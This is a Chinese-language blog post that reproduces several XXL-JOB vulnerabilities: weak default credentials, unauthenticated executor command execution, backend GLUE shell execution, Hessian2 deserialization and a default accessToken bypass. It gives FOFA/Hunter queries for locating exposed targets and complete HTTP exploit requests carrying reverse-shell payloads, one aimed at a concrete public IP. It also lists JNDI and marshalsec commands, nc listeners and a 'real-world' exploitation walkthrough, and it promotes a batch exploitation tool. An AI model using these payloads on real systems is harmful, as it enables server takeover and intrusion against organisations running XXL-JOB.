前言
XXL-JOB作为一款轻量级分布式任务调度平台被越来越多企业采用。,在实际部署过程中,由于配置疏忽或版本漏洞,存在被攻击者利用的风险。本文整理并复现了多个XXL-JOB常见安全漏洞,包括弱口令、未授权访问、反序列化漏洞等,旨在为安全研究者和开发者提供参考。
参考文章:
https://docs.qq.com/sheet/DWE1hQXRyWVZ2dmpB?tab=BB08J2
漏洞详情
XXL-JOB官网地址
https://www.xuxueli.com/xxl-job/


资产测绘
fofa语法:
app.name="XXL-JOB"
title="任务调度中心"
body="jobconf_trigger_type"
web.icon=="421c7c35244591f892496fe4d6e51921"
body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"
app.name="XXL-JOB"||title="任务调度中心"||body="jobconf_trigger_type"||web.icon=="421c7c35244591f892496fe4d6e51921"

hunter语法:
app.name="XXL-JOB"
title="任务调度中心"
body="jobconf_trigger_type"
web.icon=="421c7c35244591f892496fe4d6e51921"
body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"
app.name="XXL-JOB"||title="任务调度中心"||body="jobconf_trigger_type"||web.icon=="421c7c35244591f892496fe4d6e51921"

弱口令漏洞
XXL-JOB 是一款基于 Java 开发的轻量级分布式任务调度平台,广泛应用于任务管理和调度。然而,若使用默认弱口令(如 admin/123456),可能导致严重的安全隐患,攻击者可通过后台权限执行任意代码甚至接管服务器。
漏洞复现
访问url地址看到这个页面可以直接确定是xxl-job

输入弱口令
admin/123456 成功进入后台

有些情况可以配合后台漏洞进行getshell
XXL-JOB executor 未授权访问漏洞
漏洞描述
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。
漏洞复现
直接访问靶场地址可以看到XXL-JOB 页面

直接使用XXL-JOB executor 未授权访问漏洞的poc进行测试
因为是靶场我这里直接反弹shell,如果是实战的话可以执行命令访问dnslog地址或者
创建文件等操作,规避高风险操作。
首先使用tscan-plus生成反弹shell的poc
/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1 #127.0.0.1替换为vps地址 8888替换为vps监听端口

然后服务器开启监听即可
nc -lvvp 8888

漏洞poc
POST /run HTTP/1.1
Host:127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

成功getshell

XXL-JOB 任务调度中心 后台任意命令执行漏洞
漏洞描述
XXL-JOB 任务调度中心攻击者可以在后台可以通过写入 shell 命令任务调度获取服务器权限
漏洞复现
使用默认口令admin/123456登录之后来到任务管理处,按照蓝色箭头进行配置

注意运行模式需要为 GLUE(shell)

点击 GLUE IDE 编辑脚本

回到任务管理器,选择任务,点击操作执行一次,之后查看dnslog服务器

结果说明本台服务器即出网又可以命令执行,直接尝试反弹shell,修改glue ide脚本为反弹shell内容,然后再执行即可。
poc
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'

这个漏洞我之前成功过几次,但是没有截图,思路是正确的,可能图有点糊了。
XXL-JOB api未授权hessian2反序列化复现
漏洞描述
XXL-JOB 是一个分布式任务调度平台,其前后端之间通过 Hessian2 序列化协议传输数据,XXL-JOB 的/api接口允许未授权访问,攻击者可以构造恶意的 Hessian2 序列化数据并发送到服务端,导致反序列化漏洞。该漏洞主要影响 XXL-JOB 的早期版本(<= 2.0.2)
漏洞复现
访问链接地址看到XXL-JOB页面且版本较低进行poc尝试

首先使用工具
工具地址:
https://github.com/welk1n/JNDI-Injection-Exploit
首先在vps执行命令,开启JNDI注入工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl [Address]:5555"
-A 0.0.0.0: 绑定到所有网络接口(监听所有IP)
-C "curl [Address]:5555": 要执行的恶意命令
当有漏洞的应用进行JNDI查询时服务器会返回恶意Reference客户端会从指定地址加载并执行恶意类最终执行curl [Address]:5555命令

使用最后一个rmi://xxxx,配合下面的工具生成Hessian2反序列化的poc
工具地址
https://github.com/0ofo/marshalsec.jar
使用我这个链就可以
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://[RMI Address]:1099/stbjir >test.ser
marshalsec: 一个知名的Java反序列化漏洞利用工具
Hessian2: 使用Hessian2序列化格式
SpringAbstractBeanFactoryPointcutAdvisor: 利用Spring框架的反序列化gadget链
rmi://[RMI Address]:1099/stbjir: 恶意的RMI服务器地址
> test.ser: 将生成的恶意序列化数据保存到文件
生成恶意序列化数据
创建一个包含恶意指令的Hessian2序列化对象
利用Spring框架的漏洞链实现代码执行
触发攻击
当目标应用反序列化test.ser文件时
会连接到指定的RMI服务器
加载并执行恶意代码
服务器5555端口开启监听
nc -lvvp 5555

最终利用
在包含我们恶意文件的文件夹里面直接右键cmd执行命令
curl -X POST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://localhost:8080/xxl-job-admin/api
curl: 命令行HTTP工具
-X POST: 使用POST方法
-H "Content-Type: x-application/hessian": 设置Content-Type为Hessian格式
--data-binary @test.ser: 上传之前生成的恶意序列化文件
http://localhost:8080/xxl-job-admin/api: 目标接口(XXL-JOB任务调度系统)
打完poc之后发现,vps被成功请求。

我这里只是执行命令curl vps:5555,当然还有很多比较深入的实战利用比如getshell以及换别的链子之类的,大家可以自己进行查找,我这里只做简单分享,简单利用。
XXL-JOB默认accessToken权限绕过漏洞
漏洞描述
XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。
漏洞复现
访问之后可以看到

漏洞复现
直接使用poc访问dnslog地址
POST /run HTTP/1.1
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
User-Agent: Java/1.8.0_391
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 323
Connection: close
{"jobId": 287040,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "ping 0n3fio.dnslog.cn","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}

反弹shell

/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
反弹shell的poc地址
POST /run HTTP/1.1
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
User-Agent: Java/1.8.0_391
Host: 123.58.224.8:39234
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 323
Connection: close
{"jobId": 287040,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "/bin/bash -i >& /dev/tcp/118.89.79.204/7889 0>&1","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}


XXL-JOB案例实战
通过指纹探测或其他方法获取XXL-JOB目标后,进行访问可以看到登录页面,这个漏洞的简单利用,使用工具完全可以部分情况需要手动打poc比如内网等,这里我直接使用工具进行测试

直接工具进行检测

然后执行命令测试

反弹shell测试
使用tscan进行反弹shell的payload生成

反弹shell
/bin/bash -i >& /dev/tcp/xxxx/7889 0>&1
接受shell
nc -lvvp 7889

工具推荐
XXL-JOB ExploitGUI
工具简介
工具支持检测XXL-JOB多种常见漏洞,并且支持多种利用方式。工具提供直观友好的图像化界面,用户能够轻松进行操作和管理。支持空间测绘、批量扫描功能,用户可以同时对多个目标进行漏洞检测,极大地提高了扫描效率。还支持暂停扫描、终止扫描、自定义多线程扫描、自定义请求头、内置随机User-Agent头、http代理、socks代理、扫描结果导出为表格等等功能。
工具支持检测模块
XXL-JOB-Admin 默认登陆密码
XXL-JOB-Admin 后台RCE ( 工具支持利用模块 : 内存马注入 )
XXL-JOB-Admin 前台api未授权 hessian2反序列化 ( 工具支持利用模块 : 命令执行 内存马注入 )
XXL-JOB-Executor Restful API 未授权访问命令执行 ( 工具支持利用模块 : 命令执行 )
XXL-JOB-Executor 默认accessToken权限绕过 ( 工具支持利用模块 : 命令执行 )
工具地址
https://wx.zsxq.com/group/88885811181452
单目标检测

批量检测

Hessian2反序列化命令执行

Hessian2反序列化注入内存马

其他利用可以看本工具的readme
当前GITHub仅开源1.5版本并且不再更新
如需更多综合漏洞利用工具或xxl-jobExploitGUIV1.6更新版本可加入星球获取
https://wx.zsxq.com/group/88885811181452


1361

被折叠的 条评论
为什么被折叠?



